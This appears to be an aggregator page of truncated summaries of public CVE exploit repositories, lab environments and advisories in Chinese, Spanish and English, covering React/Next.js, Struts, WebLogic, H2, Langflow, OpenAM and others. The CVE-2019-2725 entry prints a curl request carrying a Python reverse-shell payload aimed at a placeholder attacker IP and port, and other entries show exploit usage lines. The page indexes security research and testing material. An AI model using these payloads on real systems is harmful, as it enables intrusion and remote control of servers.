CVE-2025-55182-exploit

⚠️ 免责声明 此工具仅限授权的安全测试和教育目的使用。 仅测试您拥有或已获得明确书面许可的系统。 未经授权的使用是非法且不道德的。 开发者对滥用行为不承担任何责任。 请负责任地使用，并遵守所有适用法律。 🔍 概述 CVE-2025-55182 是 React/NextJS 应用程序中利用 experimental-form 功能的一个严重服务器端请求伪造（SSRF）和远程代码执行（RCE）漏洞。 此利用工具提供了一种可靠的方式，用于在授权环境中测试和演示该漏洞。 🎯 漏洞详情 CVE ID: CVE-2025-55182 受影响版本： React: 19.0.0 - 19.2.0...

Apple-Safari-Remote-Code-Execution-CVE-2020-27930

此存储库没有 README。...

CVE-2017-9805

CVE-2017-9805: Análisis de RCE en Apache Struts 2 S2-052 Este repositorio contiene los detalles técnicos y el trabajo PoC Prueba de Concepto para la vulnerabilidad de deserialización de XStream en Apache Struts 2 S2-052. 📌 Detalles de la Vulnerabilidad CVE ID: CVE-2017-9805 Tipo de Vulnerabilidad...

CVE-2017-9606

CVE-2017-9606 Debido a la insuficiente verificación de integridad, autenticidad y los bajos privilegios de usuario en la carpeta de actualización, un usuario local puede crear archivos de actualización ViPNet falsos con código de ejecución arbitrario y colocarlos en la carpeta de actualización de...

Exploit-CVE-2019-2725

Exploit-CVE-2019-2725 针对 CVE-2019-2725 的简易利用工具。 示例代码： curl -X POST https://127.0.0.1/async/AsyncResponseService -H "Content-Type: text/xml" -d ' xx xx /bin/bash -c python -c "import socket,subprocess,os;s=socket.socketsocket.AFINET,socket.SOCKSTREAM;s.connect"MYIP",MYPORT;os.dup2s.fileno,0;...

CVE-2022-29303

CVE-2022-29303-Exploit CVE-2022-29303 的漏洞利用 使用方法 检测单个主机 / \ \ / / || \ | \ // \ / | \ V /| |/ / / / / // /, /| \ | \ | / || ///| /|//|/// Coded By Valentin Lobstein "With great power comes great responsibility" usage: CVE-2022-29303.py -h -u URL -c COMMAND 示例：python3 CVE-2022-29303.py -u...

CVE-2016-2098

CVE-2016-2098 Ruby on Rails 中 Action Pack 在 3.2.22.2 之前版本、4.x 在 4.1.14.2 之前版本及 4.2.x 在 4.2.5.2 之前版本中，允许远程攻击者利用应用程序对 render 方法的无限制使用来执行任意 Ruby 代码。 分类 输入验证错误 致谢 来自 makandra 的 Tobias Kraze 和 Phenoelit 的 joernchen 使用方法 请对代码进行必要的修改以最好地满足您的需求 这并不完美，因为我正在持续学习 Python...

CVE-2021-42392-exploit-lab

⚠️ H2数据库RCE利用PoC CVE-2021-42392 本仓库提供了一个最小且可控的环境，用于使用 CREATE ALIAS 特性测试 H2数据库远程代码执行漏洞 CVE-2021-42392 。与许多演示不同，此利用直接针对 H2 TCP 服务（通常在端口 9092），而不依赖 H2 Web 控制台。 🛑 仅用于教育和测试目的。请勿在您不拥有或未经明确许可的系统上使用。 描述 CVE-2021-42392 是 H2 Database 2.0.206 之前版本中的一个严重漏洞，如果数据库通过 TCP 或 Web 控制台暴露，则允许通过 CREATE ALIAS 远程执行代码。...

CVE-2020-8248

CVE-2020-8248: Escalada de Privilegios mediante Explotación de Comodín Zip en el Cliente Linux de Pulse Secure VPN El ejecutable SUID root pulsesvc tiene una función “doupload” que llama de forma insegura al comando zip con comodines “”. Al escribir archivos con nombres especialmente diseñados en...

CVE-2024-28397-RCE

CVE-2024-28397-RCE CVE-2024-28397 - Ejecución Remota de Código desde JS2PY Vulnerable Uso: python3 exploit.py...

CVE-2026-105115 OpenAM before 16.1.3 Unauthenticated Arbitrary Class Instantiation via JAX-RPC Interface

OpenAM before 16.1.3 contains an unauthenticated arbitrary class instantiation vulnerability in the legacy JAX-RPC SOAP interface that allows remote attackers to load classes without authentication. Attackers can send SOAP requests to /jaxrpc/ with an unverified session identifier and a chosen...

EUVD-2026-92019

OpenAM before 16.1.3 contains an unauthenticated arbitrary class instantiation vulnerability in the legacy JAX-RPC SOAP interface that allows remote attackers to load classes without authentication. Attackers can send SOAP requests to /jaxrpc/ with an unverified session identifier and a chosen...

CVE-2026-105115 OpenAM before 16.1.3 Unauthenticated Arbitrary Class Instantiation via JAX-RPC Interface

OpenAM before 16.1.3 contains an unauthenticated arbitrary class instantiation vulnerability in the legacy JAX-RPC SOAP interface that allows remote attackers to load classes without authentication. Attackers can send SOAP requests to /jaxrpc/ with an unverified session identifier and a chosen...

CVE-2026-105115 OpenAM before 16.1.3 Unauthenticated Arbitrary Class Instantiation via JAX-RPC Interface

OpenAM before 16.1.3 contains an unauthenticated arbitrary class instantiation vulnerability in the legacy JAX-RPC SOAP interface that allows remote attackers to load classes without authentication. Attackers can send SOAP requests to /jaxrpc/ with an unverified session identifier and a chosen...

CVE-2026-105115

OpenAM versions prior to 16.1.3 are vulnerable to an unauthenticated arbitrary class instantiation vulnerability within the legacy JAX-RPC SOAP interface . Remote attackers can exploit this by sending SOAP requests to the */jaxrpc/ endpoint using an unverified session identifier and a specified c...

cve-2021-41773

Apache 2.4.49 - Path Traversal or Remote Code Execution cve-2021-41773.py is a python script that will help in finding Path Traversal or Remote Code Execution vulnerability in Apache 2.4.49. Vulnerable instance of Docker is provided to get your hands dirty on CVE-2021-41773 If CGI-BIN is enabled...

cve-2025-3248-exploit

CVE-2025-3248: Langflow 未授权远程代码执行漏洞扫描器 一个全面的 Python 利用框架，用于测试和演示 CVE-2025-3248 ，该漏洞是 Langflow 版本 ≤ 1.3.0 中的一个严重未授权远程代码执行漏洞。 🔴 漏洞概述 CVE-2025-3248: Langflow 代码注入远程代码执行 属性| 值 ---|--- CVE ID| CVE-2025-3248 产品| Langflow 受影响版本| ≤ 1.3.0 漏洞类型| 未授权远程代码执行（RCE） 攻击向量| 网络 需要认证| 无 CVSS 评分| 9.8（严重） EPSS 评分|...

CVE-2024-44902-env

CVE-2024-44902 - ThinkPHP Insecure Deserialization RCE Entorno vulnerable para la validación de nuclei-templates. Detalles de la Vulnerabilidad Campo| Valor ---|--- CVE ID| CVE-2024-44902 Severidad| Crítica CVSS 9.8 Producto| ThinkPHP Versiones Afectadas| 6.1.3 - 8.0.4 Tipo| Deserialización...

Dutch Institute for Vulnerability Disclosure Breached via Zammad 0-Days

Dutch Institute for Vulnerability Disclosure was breached through two Zammad 0-days in an AI-powered attack that led to remote code execution and root access...

react-rce

Laboratorio de vulnerabilidad CVE-2025-55182 React2Shell IA utilizada: Claude Opus 4.5 ⚠️ Advertencia : este entorno debe utilizarse únicamente con fines educativos y de investigación. Resumen de la vulnerabilidad Elemento| Descripción ---|--- CVE| CVE-2025-55182 React / CVE-2025-66478 Next.js...